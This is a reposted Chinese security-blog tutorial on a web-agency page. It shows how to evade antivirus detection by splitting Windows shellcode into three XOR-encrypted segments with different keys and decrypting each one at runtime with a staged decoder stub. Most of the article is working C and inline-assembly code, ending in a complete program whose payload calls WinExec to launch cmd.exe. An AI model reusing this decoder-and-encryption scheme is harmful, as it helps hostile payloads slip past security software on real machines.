网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

web安全团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > web安全 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

执行分段免杀,使用Xor加密具有不同密钥的弹出cmd程序

文章来源:重庆网络安全 发布时间:2020-03-13 17:07:33 围观次数:
分享到:

摘要:编写shellcode时,如何在执行时进行解码,然后调用并解码,然后在解码后执行? 分阶段执行,并且解密密钥不同。

  编写shellcode时,如何在执行时进行解码,然后调用并解码,然后在解码后执行?分阶段执行,并且解密密钥不同。 

 对于这个问题,我们应该考虑这三个问题。

  1.如何编写通用解码子?

  2.如何获得解码子解码部分的首地址?

  3.如何跳转到刚解码的Shellcode的第一个地址?

 执行分段免杀,使用Xor加密具有不同密钥的弹出cmd程序说明。


我们的程序

 #include "stdio.h"#include "windows.h"#include <string.h>#include "stdlib.h"int main(int argc, char* argv[]){       char *str="cmd.exe";  __asm{              mov eax,str              push 5                         ;5=SW_SHOW              push eax              mov eax,0x7731dab0              //0x7731dab0              //call dword ptr [WinExec]              call eax       }       return 0; }

 0x7731dab0是winexec函数地址


转换为shellcode

 #include "stdio.h"#include "windows.h"#include <string.h>#include "stdlib.h"char shellcode[]="\x8B\x45\xFc\x6A\x05\x50\xB8\xB0\xDA\x50\x75\xFF\xD0";int main(int argc, char* argv[]){ char *str="cmd.exe"; __asm{ lea eax,shellcode call eax } return 0; }

  运行查看是否可以执行


xor加密


  我们使用三个密钥对上面的shellcode进行加密,其值为0×51,0×47,0×81,并根据密钥的数量对shellcode进行分段,分为三段,0×51对\x8B\x45\xFc加密,0×47到\x6A\x05\x50\xB8\xB0\xDA\x50\x75加密,0×81到\xFF\xD0加密(语句的机器代码不能分开),在每段之后添加\x90,添加\x90是控制解密的次数,以便我们可以在想要解密的任何地方解密。加密的shellcode是:

  \xda\x14\xad\xc1

  \x2d\x42\x17\xff\xf7\x9d\x17\x32\xd7

  \x7e\x51\x11



编写通用解码子

 decode:        mov bl,byte ptr ds:[ecx+edx] xor bl,bh mov byte ptr ds:[ecx+edx],bl inc edx cmp bl,90h je execute jmp decodeexecute: add ecx,edx //ecx加上解码的数目 ret

 使用bh存储密钥,并将解密的bl与90h进行比较。如果解密后的值为90h,则停止解密,跳转到execte并执行它,最后返回。在这里,您必须使用ret,因为此程序将被放入经过加密的shellcode中,如果没有ret,程序将执行shellcode,并且后面的shellocde不会被解密。我们将分节执行它,因此解密后,我们必须回到最初调用解密的位置,以方便以后的操作。


  在第一个shellcode之前放置以下程序机器代码

__asm{ xor edx,edx mov bh,51h //bh存储key decode: mov bl,byte ptr ds:[ecx+edx] xor bl,bh mov byte ptr ds:[ecx+edx],bl inc edx cmp bl,90h je execute jmp decode execute: add ecx,edx //ecx加上解码的数目 ret }


逻辑处理语句


  此处的逻辑处理语句位于shellcode的每个部分之间,以存储和检索解码器已解码部分的第一个地址,跳转到刚解码的shellcode的第一个地址,并修改秘钥值。

__asm{ push edx //将decode首地址也入栈 add ecx,19 //这个是让ecx的值等于下一个shellcdoe首地址 push ecx //下一个shellcode首地址压入栈 push eax //将eax压入栈中(因为我们执行的代码中利用eax进行,eax值不能变) mov eax,edx //将decode首地址传给eax xor edx,edx mov bh,47h //第二段key,各段shellcode的key不同,要修改 call eax pop eax pop ebx //shellcode首地址 pop edx //decode首地址 jmp ebx //到shellcode出执行 }

 每次执行解码的shellcode时,都会执行此语句。Edx存储解码器的第一个地址,调用eax会对它进行解码,而jmp ebx将执行解码后的shellcode。上面的代码解决了如何调到解码器的解码部分的第一个地址的问题。通过在开始时找到解码的第一个地址,将其压入堆栈,然后在每次解码之后,将其弹出到寄存器中,然后在执行解码后,执行Shellcode。执行完shellcode后,根据弹出的解码后的第一个地址对其进行解码。


 找出这段程序机器码放在每段shellcode之间


定位shellcode的第一个地址


  执行分段解密。我们知道每个段的shellcode的第一个地址是不同的。我们如何找到每个段的shellcode的第一个地址?


  在解密之前,我们将要解密的Shellcode的第一个地址压入堆栈。执行调用eax时,ecx的值是下一个要执行的shellcode的第一个地址。解码器中有添加ecx和edx。在要执行的下一个shellcode的末尾地址加1,然后执行add ecx,19,19是该部分的逻辑处理的机器代码数,此后ecx是接下来要执行的第一个shllcode地址,然后将堆栈推出我们可以找到第一个地址来执行shllcode。


最终程序

#include "stdio.h"#include "windows.h"#include <string.h>#include "stdlib.h"unsigned char encode[]="\x33\xD2\xB7\x51\x3E\x8A\x1C\x11\x32\xDF\x3E\x88\x1C\x11\x42\x80\xFB\x90\x74\x02\xEB\xEE\x03\xCA\xC3""\xda\x14\xad\xc1""\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x47\xFF\xD0\x58\x5B\x5A\xFF\xE3""\x2d\x42\x17\xff\xf7\x9d\x76\x30\xd7""\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x81\xFF\xD0\x58\x5B\x5A\xFF\xE3""\x7e\x51\x11";int main(int argc, char* argv[]){ char *str="cmd.exe"; __asm{ lea ecx,encode //获取encode+shellcode编码的地址 mov edx,ecx add ecx,25 //ecx存储第一个shellcode首地址,从xor edx,edx到ret,这段的机器码 push ecx //第一个shellcode压入站首地址 sub ecx,21 //解码decode首地址,21第一个shellcode到解码的机器码数 push ecx //压入栈 add ecx,21 call edx //解码 pop edx //解码首地址 pop ebx //第一个shellccode首地址 jmp ebx } return 0; }

结果:

blob.png

 在程序开始时,将第一个shellcode的第一个地址和解码子头地址压入堆栈,然后调用解码程序对第一个shell

code进行解码,解码后返回,然后弹出第一个shellcode的第一个地址和解码子首地址,使用jmp解码后执行第一个shellcode,执行后执行“逻辑处理语句”内容,根据弹出的解码后的子头地址,再解码第二个shellcode,然后执行,依此类推。


摘要


  1解码和执行第二部分代码的密钥在第一部分中。


  2.充分利用ret和解码后返回。


  3.多利用push和pop,例如入栈、出栈shllcode的第一个地址和解码子首地址。


本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:分段免杀 Xor加密 cmd程序 重庆网络安全公司

上一篇:登录、注册、账号、密码、验证码等表单渗透经验介绍
下一篇:Android APP静态分析存储不安全和密码的硬编码泄漏,导致登录短信管理系统并劫持短信接口配置

热门资讯

鼠标向下滚动